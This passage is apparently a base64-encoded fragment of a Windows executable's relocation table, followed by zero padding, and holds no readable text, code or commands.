Oc88DwFPSI9OD1TPXU9fD2LPZI9nT25Pco96T1FPoQ+kj7jPgM/Ez8iPzM/cz+bP6c/rD+6P78/1D8AIAEA5AAAABswLTA0MHUwzDDyMAgxJTE8MVUxhDGKMb4x0jHfMfMxCzIdMokymDK9MvYyQDOBM40z0zMONB40ODRzNIM0oTS9NBM1iDWnNbo14zX5NQA2ODaoNsA24Tb8Nks3hjebN8o34jcmODY4PDh+OJ842TjuOBk5MTlHOVU5XTljOYA5iTmgOd457jkFOkE6YTqFOpQ69zqMOw48FTwkPFk8fDyKPKE8zTwAPRw9ND1LPV89Aj4ePjQ+cD6pPs0+2j7gPug+7j7+PgY/DD8cPyY/RT9ZP18/qT/JP+k/AAAAMAEASAEAAAkwKTBJMGkwgzCdMLcw0TDiMOkwAzEQMSwxMTGsMbsx3zHlMfIx/TEDMhUyHjJQMlUyezKiMrky0jL1MggzIDMwM20zkTOjM60zuDPXM+4zGjQ7NE80jDSeNKY0tjS+NM401zT5NBc1MTVRNVk1XzVnNW01jzW0Ncs11DX3NRc2JjYuNj42STZcNsQ2yzbgNuc27TYqN0Q3UjdlN3c3iTesN7o3zTfzNwc4KTg4OFc4cziUOLo41DgHOTA5SjmCObU5wDneOeU57Tn0OQ46ODpIOl06pjrEOuA65zrvOvY6ETs8O0w7WjtlO607sjv5OwY8IjwrPGY8bzx2PKU8tDzRPNc85DzvPPU8Ej0pPUA9TT1iPXo9mT2fPc893j30PQ0+KD5KPm8+kz64Ps8+Az8dPzI/Zz+KP6E/wT/lP+4/AEABACwBAAANMEMwWTBwMHgwgjCjMMcw1TALMRIxGzEsMTExRDFsMX8xhzGMMcIxyTHQMd8x6TEGMiwySDJ8MoQyrTLGMt8y9DITMyMzLDNDM2czeTOFM5gzrjPWM+Iz7jMRNDk0YTRyNIM0mzTUNNw09DRiNbI1wTXZNRA2HzY3Nko2XDZmNlM3Wjd3N/Q3DDgaOCE4NThDOMo40jjeOA05LjlAOVk5aDmKOZY5BzoNOhM6GTofOiU6PzpFOks6UTpXOmQ6dTqGOrg64Tr8OgE7EzsxOzo7bDuiO8E7zzvXO+E7Bzw2PGU8lDzDPC49QD1lPZc9nT2xPbc9yz3RPfA9Bz4vPjU+Sz5ZPmw+iT6PPqg+tj7JPts+7T4WPyM/MD9tP7M/vj/gP/Q/AFABANQAAABsMHMwfzCGMIw1kjWZNag1rTW1Nbs1wDXHNc010jXZNd815DXrNfE19jX9NQM2CDYQNhU2IDYoNjA2ODZENko2YjZoNm42eTaBNo42lDabNqE2rjazNrg2zjbTNtg27jbzNvg2CzcSNzw3PDiiOCg5PTlHOVo5bjl4OZU5wTnXOfo5DzoXOh06NDoyO0I7SDtWO2k7czuNO6c7vzv5O/47IjwoPEg8iDyOPJo8qjzFPOA88T0VPik+PT5RPqA+xz7uPgo/VD+ZP/Q/+T8AYAEASAEAABswUzBgMGYwbjB0MHwwgjCKMJAwoTCpMK8wyTDRMNcw3zDlMCIzQzNlM4IznzOqMwo0FDQzNFs0ajTANPk0LzU7NUI1SjVQNWM1cjWRNaA1ujXfNfw1RTZTNog2jzacNqI2vDbENso2DDcXNyg3RjdQN143eTeNN7g31DfhNwU4KDg8OGY4hjifOLQ43TjtOPY4/jgUOR45ODlXOWw5lTmlOa45tjnMOdY5/TkSOjs6SzpUOlw6cjp8Oow6lDqkOqw6zjrkOuw6/DoEOyc7LDtPO1g7YDuCO487oDu0O9o7AjwKPBA8hDySPJ48qTzbPPU8/jwIPRg9JT00PTw9Qj1PPW09gD2WPbo96z33Pf09Mz45Pkc+Wz5pPoo+mz6lPsE+3T75PhU/QT9WP2A/gT+eP6Y/rD/AP9c/3j/7PwAAAHABAKgBAAAAMBowHzA5MD4wWDBdMHcwfDCWMJswtTC6MGsxljG+MQEyDzJNMlUyWzJpMm8yezKGMosykjKXMtcyDTMUMyEzJzM1M0UzTDNlM20zczOIM6MzujPWM+Az6jP4Myk0NzQ8NFU0dTSBNIg0jzSiNKo0rzS7NMg00jTeNPg0/zQMNRM1ITUnNS01MjVTNVk1aDV2NYw1pDW8NdI13DXvNQQ2FjYdNiM2KTZFNlE2ZTZsNo42nTbtNg83NzdgN2Y3dTedN7w36TfyNz84SjhfOGU4czh5OIA4izi7OMk42jjvOPU4GzkrOVk5ZDmAOYs5ozmoObQ51jn2OTQ6kTqhOrk6xTraOvo6AzsgOzs7UztYO187cDt2O307jDuRO5k7nzukO6s7sTu2O707wzvIO8871TvaO+E75zvsO/M7+Tv+OwU8CzwQPBc8HDwjPCs8Mzw7PEM8SzxTPFs8aTxyPH08lDyrPMo8zzz+PCU9Nj1ZPXc9hD2ePb09xz3kPf89JT5oPm0+jT64PsU+3z7+Pgg/JT9AP1s/gT/HP8w/9D8AAACAAQBIAQAAEDBFMEowVTB5MJQwvDDHMOgw8DAqMVMxXjF+MZkxpjHHMegx9DEJMikyOTJEMlQyXDJsMnQyejKKMpIywTLeMvwyPTNbM3kzkTOeM7wzzDPRM+Iz/jMMNBY0JDQ+NEs0WDR9NLI0vjTONNY0/DQNNRM1IzVHNXc1gTWNNcU10jXuNfM1HjY8Nl42jDabNrg2vjbLNtQ22jb0Nvo2AjcINyY3VDdgN283ezeDN683yjfhNw44LThNOFw4jTi5ONw48Tk8Oks6kTqoOvg6EjslO1g7ZjttO3Q7ezuCO4k7mTugO6c7wDvIO8472zs+PAE9JD00PTw9VD1jPWo9oD2sPbM9uT2+Pc89AT4JPg4+FD4jPik+WT5hPmc+gj6kPqo+sD61Pss+3T7uPvY+BD8JPxQ/Gz8oPzU/QT+ZP90/AAAAkAEAsAEAAAkwLzCwMLwwxzDNMNIw4TDmMO4w9DD5MAAxBjELMRIxGDEdMSQxKjEvMTYxPDFBMUgxTjFTMVoxYDFlMWwxczF7MYMxizGTMZsxozGrMbMxvzHEMcwx1THjMekx+DH9MQMyFjIbMiIyKDJAMkUyTDJSMl4yZjJtMnIydzJ9MosykjKYMqsysjK4MsQyzDLRMt4y6zLwMvsyAjMIMw8zHDMhMywzMjNpM3gzgzORM5oz8zOINKM0wzRKNSM2NjZANlA2WzZhNoU2izaTNq42wTbTNvE29jYHNw43EjcaNx43JjcwN1A3WzdyN383mDeeN6w3yDfTN/U3EjgsODU4PjhEOFs4fjiPOJ04ojinOKw4sTi2OMQ4yjjWOOE46DjwOPk4/zgQORg5KjkwOTc5PjlFOUo5XzlzOX85hjmNOZU5mzmuObw5wjnJOfE5BToSOoA6iTqROp06qzq5Osc6zjraOuw6+joDOzM7ODsxPDw8SzyUPO48Sj2XPaQ9vD3yPfs9BT4YPiM+Wj55Prc+zD7RPtY+Ej8iPy4/NT9PP3w/hz+5P/M/AAAAoAEAAAEAABkwYDBlMKcw3jAAMUcxTDFnMYMxizG0Mbsx9jH+MVEytTLaMvQyDjMdMyQzKzNmM5MzrDPBM8gz0zPiM+0z/zMSNCE0KzRQNHY0fTSONKY00TT3NP40DzUsNV01gzWgNbA14TUINig2TjZbNms2fjaONr02zDbVNuI26Db5NgE3BzcbNyw3NDc6N0s3UzdZN2o3ejeAN403lDfcNw84NzjAOOE4/jgeOT45wznWOfY5FjqGOpc6szrCOtI6ATsnO0o7ijuoO687ujvyOyA8SjxoPI08lDzePO48Bj0XPSQ9Lz1GPU09rj3CPc494z0FPjY+QD5XPpg/ALABABQBAAANMK8w6zA2MQUyDTIoMi4yVTJkMnkyjjKiMr4y4jLyMkUzTDNwM3czizObMwE0HDQ5NHk0tjTqNO80AzUONSc1RjVwNXc1lDWbNe019jX8NUg2TjZXNmo2czajNqw2tjbhNvM2QTdIN303izeRN6M3rzfvN/g3NTg/OEU4TzhkOG04mjijOKk4BTkUOR05ODlCOX45jzmsOdg54DnxOfo5zTrWOuE68DoiO1M7XDtnO3s7kjv4OwA8MDw4PD48ZTxxPH08pjyuPLQ8xTzPPPY8Sz1SPVk9YD1lPXY9hj2YPaM9uD3QPdk94T3uPfc9MD5uPnc+gj7BPso+6j58P4Q/ij+YP58/uT/zPwAAAMABADABAAAUMCMwSTBsMJcwrjC9MMYw2DDhMPMw/DARMRoxKzE0MVIxXjFwMXkxlzGjMbUxvjHbMecxADIJMhQyHTI5MkIyTTJWMmEyajJ1Mn4y9jJrM5Az0jPcM+Mz6DP5Mwg0lzSuNNM03jToNBY1WjVtNTM2WTZhNmc2dDa4NgY3nje/N903IzgtODQ4OThKOFo4vzjoOPo4PzlJOVA5VTlmOXU58jkwOjc6PjpFOko6WzpoOnQ6njrFOtw6ADsmOzE7TTtzO347mjvIO+E7+jtuPLs8zjz8PDo9bD2EPYs9kz2YPZw9oD3JPe89DT4UPhg+HD4gPiQ+KD4sPjA+ej6APoQ+iD6MPvI+/T4YPx8/JD8oPyw/TT93P6k/sD+0P7g/vD/AP8Q/yD/MPwDQAQCIAAAAFjAcMCAwJDAoMIMwiTCbMPswbzF1MXoxgjGSMZwxojG2MQ8yFzIsMjcydjP9M5U0DTUcNSI1PDVLNVg1ZDV0NXs1ijWWNaM1xzXZNec1/DUGNiw2XzZuNnc2mzbKNoM3pjexN9Q3IzhdOLk4NjnKOlI7GzyVPLI+Aj8xPzc/Rj8A4AEA1AAAAHAwjjFqNX81hTWONZU1tzUsNjQ2RzZSNlc2aTZzNng2lDaeNrQ2vzbZNuQ27Db8NgI3EzdMN1Y3fDeDN503pDfPN0I4ejh/OIk4vTjVON045jgfOVM5WTlfOXQ5pjnCOdo5LTpaOs06ADsUOxo7IDsmOyw7Mjs5O0A7RztOO1U7XDtjO2s7czt7O4c7kDuVO5s7pTuuO7k7xTvKO9o73zvlO+s7ATwIPAI+Bz4bPjc+Wj5tPqQ+sD65Pr8+xT4KPxA/Gj9QP3A/dT8AAADwAQCsAAAAUjBZMGEw0TDWMN8w7jARMRYxGzEyMYsxmDGeMb0yxDImMzgzGDQiNC80bTR0NIE0hzTKNVo2lzauNh44LzhpOHY4gDiOOJc4oTjVOOA46jgDOQ05IDlEOXs5sDnDOTM6UDqZOgg7JzucO6g7uzvNO+g78Dv4Ow88KDxEPE08UzxcPGE8cDyXPMA80TzlPDE9gD3IPRw+3z4NP4U/nz+wP+k/AAAAAAIA3AAAABkwIDAsMDIwPjBEME0wUzBcMGgwbjB2MHwwiDCOMJswpTCrMLUw1zDsMBIxUjFYMYIxiDGOMaQxvDHiMVwyfzKJMsEyyTIVMyUzKzM3Mz0zTTNTM1kzaDN2M4AzhjOcM6EzqTOvM7YzvDPDM8kz0TPYM90z5TPuM/oz/zMENAo0DjQUNBk0HzQkNDM0STRPNFc0XDRkNGk0cTR2NH00jDSRNJc0oDTANMY03jTTNeU1cTaONuI2vDfEN9w39zdOOJo4gzmSOa05yjwNPlc/nj/KP+w/ABACADAAAADBMTY0OjQ+NEI0RjRKNE40UjTJNLQ1zDXwNfk4PTp4O7s75zsJPPI9ACACALwAAABdMGEwZTBpMG0wcTB1MHkwjDCyMLgw4jAnMS4xQzGKMZQxvzHXMfUxGTJJMlsyiTKsMrIyxzLnMgwzLzM4M0QzezOEM5AzyTPSM94zGzQkNDA0STRqNHM0mjSnNKw0ujTpNPA0+jQMNSM1MTU3NVo1YTV6NY41lDWdNbA11DUUNmg2iDafNv42oTfBN7E42jgzOaE6eztLPHw8kjzTPPI8jz3BPek9Yz6NPq0+4z7tPkI/AAAAMAIAmAAAAP8wMTFQMW8x0jH1MRcyIjJYMmgykjKjMrAytzLHMtky3jJFM1EzXDSSNKU0tjTbNBY1KTVBNWE1tDXcNfU1ETY+Nms2djakNrI2uzb7Ng03STduN3s3ozfVN903GzhoOKU4rzjHOPA4IjlKOR87MjtEO4s7ozutO8g70DvWO+Q7GDwlPDo8azyIPNQ8Aj0GPgBAAgAMAAAAjjaUNgBQAgAYAAAApjG+MZgyHTM7M2Ezsjq4OgBgAgCsAAAAsjP+Mwk0DzQ0NDo0PzRNNFI0VzRcNGw0mzShNKk08DT1NC81NDU7NUA1RzVMNVo1uzXENco1UjZhNms2cDaRNpY2uzbBNsc2eDd9N483rTfBN8c3Ljg9OHU4fzjAOMs41TjmOPE4sTrCOso60DrVOts6RztNO2k7kTvdO+k7Zz2KPZc9oz2rPbM9vz3oPfA9+z0oPi4+eD6FPp4+vD74PiA/qj8AcAIAQAAAAA4wMTBDME4wYjGAMeAy3DN/NJ00wzQnNT81ZTV9OHQ5BTtIO3Q7lTt4PeQ/6D/sP/A/9D/4P/w/AIACALQAAAAAMC0wdjAPMd8xWTJ8MhUzADcSNyQ3NjdIN243gDeSN6Q3tjfIN9o37Df+NxA4Ijg0OEY4fzgKOTw5VDlbOWM5aDlsOXA5mTm/Od055DnoOew58Dn0Ofg5/DkAOko6UDpUOlg6XDrCOs066DrvOvQ6+Dr8Oh07Rzt5O4A7hDuIO4w7kDuUO5g7nDvmO+w78Dv0O/g7mTy6PNw8JT1uPbE+Hz+CP4g/lD/LP+M/AJACAIgAAABqMHcwljB/Mv8yajN9M5wzrjPBM9MzEzQzNAg3KjdjN4o3qje0N8s38DcTOMA4PDmhOa05JTo/Okg6KDtLO1Y7XDtsO3E7gjuKO5A7mjugO6o7sDu6O8M7zjvTO9w75jvxOyw8RjxgPG89dj18Pe89+z1zPn8+9D4APyw/Wz/2PwCgAgBMAAAAzzAnMUkxlDGJMm0zoTPGM/QzsjSpNsA2MjdPN3Q3/Dd1OCY7LTufO6U7qjuwO8E7MTw4PLQ8uzwWPUM9vD3tPXI/AAAAsAIAaAAAACgwMjDmMPUwbDF5MU4yWDL4MjYzaDOQM1o0ZzSHNFw1czU0NkE2ATi6ONI41zg+O147rTtoPHA8hDxYPV09bz0QPh8+Jj6QPqQ+rD66Psg+zz7fPgM/Cj8RPxg/Uz/0PwDAAgA8AAAABDARMD0wWjBmMHIwdzCYMKsweTGaMo4z1zNzNfI2ITpROls6Zjp9POA9+z0GPgo+Dz4AAADQAgA8AAAAUDRUNFg0XDRoNGw0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg04DTkNOg07DTwNFA1VDUAAADgAgD4AAAAnDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNAOkQ6SDpMOlA6VDpYOlw6YDpkOmg6bDpwOnQ6eDp8OoA6hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6tDq4Orw6wDrEOsg6zDrQOtQ62DrcOuA65DroOuw68Dr0Ovg6/DoAOwQ7CDsMOxA7FDsYOxw7IDskOyg7LDswOzQ7ODs8O0A7RDtIO0w7UDtUO1g7XDtgO2Q7aDtsO3A7dDt4O3w7gDuEO4g7jDuQO5Q7mDucO6A7pDuoO6w7sDu0O7g7vDvAOwAAABADAJQDAACwMLQwuDDAMMgwzDDQMNQwwDPEM8gzzDPUM9gz3DMoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0eDR8NIA0hDSINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DToNOw08DT0NPg0/DQANQQ1CDUMNRA1FDVMNlA2VDZYNlw2YDZkNmg2bDZwNnQ2eDaENqA2pDaoNqw2sDa0Nrg2vDbINsw20DbUNtg23DbgNuQ26DbsNgA3GDcwN0g3TDdgN2Q3eDd8N5A3mDecN6A3pDeoN6w3sDe0N7g3xDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAOAQ4EDgcOCA4JDgsODg4PDhAOEQ4SDhMOFA4VDhYOFw4YDhkOGg4bDhwOHQ4eDh8OIA4hDiIOIw4kDiUOJg4nDigOKQ4qDisOLA4tDi4OLw4wDjEOMg4zDjQONQ42DjcOOA45DjoOOw48Dj0OPg4/DgAOQQ5CDkMORA5FDkgOSw5MDk8OUg5TDlQOVQ5WDlcOWA5ZDloOWw5cDl0OXg5fDmAOYQ5iDmMOZA5lDmYOZw5oDmkOag5rDm4OcQ5yDnMOdA51DnYOdw54DnkOeg57Dn4OQQ6CDoUOhg6HDogOiQ6KDosOjA6NDo4Ojw6QDpEOkg6TDpQOlQ6WDpcOmA6aDpsOnQ6eDqAOoQ6iDqMOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6yDrMOtQ62DrcOuA65DrwOkQ8SDxMPFA8VDxYPFw8YDxsPHg8gDyEPIg8kDyUPKA8pDywPLQ8wDzEPMg80DzUPNg84DzkPOg88Dz0PAA9BD0QPRQ9ID0kPTA9ND1APUQ9UD1UPWA9ZD1oPXA9dD14PYA9hD2QPZQ9oD2kPag9rD2wPbQ9uD28PcA9xD3IPcw90D3UPdg93D3gPeQ96D3sPfA99D34Pfw9AD4MPhA+FD4sPjA+ND48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+gD6EPow+kD6UPpg+nD6gPqQ+qD6sPrA+tD64Prw+wD7EPsg+zD7QPtQ+2D7cPuA+5D7oPuw+8D70Pvg+/D4APwQ/CD8MPxA/FD8YPxw/ID8kPyg/LD8wPzQ/OD88P0A/RD9IP0w/UD9UP1w/YD9kP2w/dD8AAABAAwD4AAAAgDSENIg0jDSgNNA01DTYNNw08DQgNSQ1KDUsNTA1NDU4NTw1QDVENUg1TDVQNVg5YDloOXA5eDmAOYg5kDmYOZw5oDmkOag5rDmwObQ5uDm8OcA5xDnIOcw50DnUOdg53DngOeQ56DnsOfA59Dn4OQA6CDoQOhg6IDooOjA6ODpAOkg6UDpYOmA6aDpwOng6gDqIOpA6mDqgOqg6sDq4OsA6yDrQOtg64DroOvA6+DoAOwg7EDsYOyA7KDswOzg7QDtIO1A7WDtgO2g7cDt4O4A7iDuQO5g7oDuoO7A7uDvAO8g70DvYO+A76DvwOwAAAKAEALgAAACQOpQ6mDqcOuw68DpIO0w7XDtgO2Q7bDuEO5Q7mDuoO6w7sDu0O7w71DvkO+g7+Dv8OwA8BDwMPCQ8NDw4PEg8TDxcPGA8aDyAPJA8lDykPKg8rDy0PMw83DzgPOg8AD0QPRQ9JD0oPSw9ND1MPYQ9mD2gPag9sD20Pbg9wD3UPdw95D3sPfA99D38PRA+MD5QPlw+eD6YPrg+2D74PhQ/GD84P1g/eD+YP7g/2D/kPwCwBACQAAAAADAMMCgwSDBoMIgwqDDIMOgw9DAQMSwxMDFMMVAxcDGMMZAxsDHQMfAxEDIYMiwyNDJIMlAyVDJcMmQybDJwMnwygDKMMpAywDLQMuQy+DIEMwwzJDMoM0QzSDNoM3AzdDOMM5AzoDPEM9Az2DMINBA0FDQsNDA0TDRQNFg0YDRoNGw0dDSINADQBAAwAQAAADAgMEAwYDB4MIAwcDR0NKA4oDmkOag5rDmwObQ5uDm8OcA5xDnIOcw50DnUOdg53DngOeQ56DnsOfA59Dn4Ofw5ADoEOgg6DDoQOhQ6GDocOiA6JDooOiw6MDo0Ojg6PDpAOkQ6SDpYOlw6YDpkOmg6bDpwOnQ6eDp8OoA6hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6tDq4Orw6wDrEOsg6zDrQOtQ62DrcOuA65DroOuw68Dr0Ovg6/DoAO2A7cDuAO5A7oDvEO9A71DvYO9w74DvsO1A9VD1YPVw9YD1kPWg9bD1wPXQ9iD2MPZA9lD2YPZw9oD2kPag9rD24Pbw9wD3EPcg9zD3QPdQ92D3cPeA9ID88P1g/XD9kP6Q/qD+wP9g/AAAA4AQA9AAAABQwUDCMMMgwDDEQMRgxQDF8Mbgx/DEwMjQyPDJcMmAyaDKYMswy0DLYMiAzXDOYM9QzEDRMNIg0vDTANMQ0yDTUNAQ1EDU4NXQ1sDXkNeg18DU4NnQ2sDbsNig3ZDeYN6Q3xDfIN8w30DfUN9g33DfgN+Q36DfsN/A39Df4Nxg4VDiwOOw4KDlkOaA56DkkOmA6nDrQOtQ6KDswO2Q7bDugO6g73DvkO1w8YDxkPGg8bDxwPHQ8gDyIPLw8xDz4PAA9ND08PZg91D0QPlg+YD6MPpA+lD6YPpw+oD6kPqg+5D7wPiw/aD+kPwAAAPAEACgBAAAAMAQwCDAMMBAwFDAkMDAwODBsMHQwqDCwMOQw7DAYMRwxIDEkMSgxLDEwMTQxODE8MUAxRDFMMWAxaDGgMaQxqDGsMbAxtDG4MbwxwDHEMcgxzDHQMdQx2DHcMeAx5DHoMewx8DH0Mfgx/DEAMgQyCDIMMhAyFDIYMhwyJDIsMjQyPDJEMqAyqDLcMuQyGDMgM1QzXDOQM5gzzDPUMzA0ODRsNHQ0qDSwNOg0JDVgNbg1wDX0Nfw1MDY4Nmw2dDakNtA21DbYNtw24DbkNug27DbwNvQ2+Db8NgA3BDcINww3EDcUNxg3HDcgNyQ3KDcsNzA3NDdIN0w3UDdUN1g3XDdgN2Q3aDdsN3A3dDd4N3w3gDeEN4g3jDeQN5Q3oDcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA